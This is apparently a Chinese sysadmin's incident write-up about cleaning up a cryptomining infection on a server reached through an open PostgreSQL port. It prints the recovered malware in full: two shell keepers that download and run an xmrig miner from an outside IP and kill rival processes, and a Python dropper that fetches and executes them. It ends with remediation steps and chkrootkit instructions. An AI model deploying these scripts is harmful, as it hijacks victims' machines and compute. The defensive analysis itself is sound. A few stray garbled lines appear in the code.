一次服务器被挖矿的处理解决过程

内网一台服务器cpu爆满，第6感猜测中了挖矿病毒，以下为cpu爆满监控图表



赶紧ssh进系统，top了下，一个./x3e536747 进程占用了大量的cpu，cpu load average超过了cpu内核数，先kill掉进程，不用猜，等会肯定会继续启动，检查开放端口，发现postgresql直接对外开放的。肯定是通过这个入口***进来的；暂时关闭外网pg 5432端口；找到挖矿执行路径，都在/tmp下，我拷贝了出来，放一个sh脚本上来大家一起研究
第一个脚本keeper-64.sh

#!/bin/sh

sPid=$$
mPid=''
mName='/tmp/.jgqwrjqwkhdoaeyhq'

checkCmd() {
command -v $1 >/dev/null 2>&1
}

downloader () {
if checkCmd wget; then
wget $1 -O $2
elif checkCmd curl; then
curl $1 -o $2
else

5b4
if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
else
python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
fi
fi
chmod +x $2
}

killer() {
for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
if [ $tmpVar = $sPid ]; then
continue
fi
if [ $tmpVar = $mPid ]; then
continue
fi
if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep jgqwrjqwkhdoaeyhq` ]; then
echo "found jgqwrjqwkhdoaeyhq"
continue
fi
kill -9 $tmpVar
rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`
fi
done
}

runer() {
if [ -z "$mPid" ]; then
if [ ! -f $mName ]; then
downloader http://165.227.51.68/xmrig-64 $mName
$mName
else
$mName
fi
fi
mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
}

downloader http://165.227.51.68/xmrig-64 $mName
runer
killer
pkill python
while true; do
sleep 10
if
b68
ps -p $mPid > /dev/null; then
killer
else
mPid=''
runer
fi
done

第二个脚本j23k6hl2k4jlk21.sh

#!/bin/sh

sPid=$$
mPid=''
mName='/tmp/.jgqwrjqwkhdoaeyhq'

checkCmd() {
command -v $1 >/dev/null 2>&1
}

downloader () {
if checkCmd wget; then
wget $1 -O $2
elif checkCmd curl; then
curl $1 -o $2
else
if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
else
python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
fi
fi
chmod +x $2
}

killer() {
for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
if [ $tmpVar = $sPid ]; then
continue
fi
if [ $tmpVar = $mPid ]; then
continue
fi
if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep jgqwrjqwkhdoaeyhq` ]; then
echo "found jgqwrjqwkhdoaeyhq"
continue
fi
kill -9 $tmpVar
rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`
fi
done
}

runer() {
if [ -z "$mPid" ]; then
if [ ! -f $mName ]; then
downloader http://165.227.51.68/xmrig-64 $mName
$mName
else
$mName
fi
fi
mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
}

downloader http://165.227.51.68/xmrig-64 $mName
runer
killer
pkill python
while true; do
sleep 10
if ps -p $mPid > /dev/null; then
killer
else
mPid=''
runer
fi
done

第三个python脚本

remote_path64 = "http://165.227.51.68/keeper-64.sh"
remote_path32 = "http://165.227.51.68/keeper-32.sh"
output_path = '/tmp/j23k6hl2k4jlk21.sh'
command = 'chmod 777 /tmp/j23k6hl2k4jlk21.sh&&sh /tmp/j23k6hl2k4jlk21.sh&&rm -rf /tmp/*.py'
#command = 'chmod 777 /tmp/jhkjqhwru1h4&&nohup /tmp/jhkjqhwru1h4&&rm -rf /tmp/*.py'

import platform
check = platform.architecture()
if "64bit" in check:
remote_path = remote_path64
print remote_path
elif "32bit" in check:
remote_path = remote_path32
print remote_path
else:
exit()

def getRequest():
request = ''
try:
# for python 3.x
import urllib.request
request = urllib.request
except:
# for python 2.x
import urllib
request = urllib
return request

def download(url):
request = getRequest()
res = request.urlopen(remote_path)

5ac
return res.read()

def put(path, data):
#    file = open(path, "wb")
with open(path,'wb') as file:
file.write(data)
#    file.close()

def run(cmd):
import os
os.system(cmd)

def main_station():
data = download(remote_path)
put(output_path, data)
run(command)

main_station()

发现下载挖矿病毒脚本是美国的



netstat -antup 看了下还有哪些异常ip连接，发现我的服务器还会跟法国一个ip进行80访问连接，不用想，直接iptables drop掉这两个ip；清空/tmp目录，注意查看/tmp目录时用ls -al 因为发现挖矿脚本会用隐藏文件；
检查计划任务，没有异常
cat /etc/passwd | grep bash发现postgresql是可以登录的，
postgres:x:500:500:PostgreSQL:/opt/PostgreSQL/10:/sbin/nologin 改为nologin
修改root密码，使用chkrootkit检查是否有文件命令被替换，发现/tmp有隐藏执行文件，
Searching for Backdoor.Linux.Mokes.a。。。。。。。INFECTED
删除掉；
禁止root用户登录；
观察一晚上，一切正常。。。
附chkrootkit安装使用说明

安装依赖包
yu
5b4
m install gcc gcc-c++ make glibc-static -y
下载安装包
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz——无法下载自行用×××。。 tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
echo $? 为0表示编译不报错
mv chkrootkit-0.52 /usr/local/chkrootkit
执行chkrootkit
/usr/local/chkrootkit/./chkrootkit  | grep INFECTED——列出有infected表示文件被感染。可以到正常的系统拷贝替换回去。

直接运行执行结果



如果执行报错，cant't find ssh
yum install openssh* -y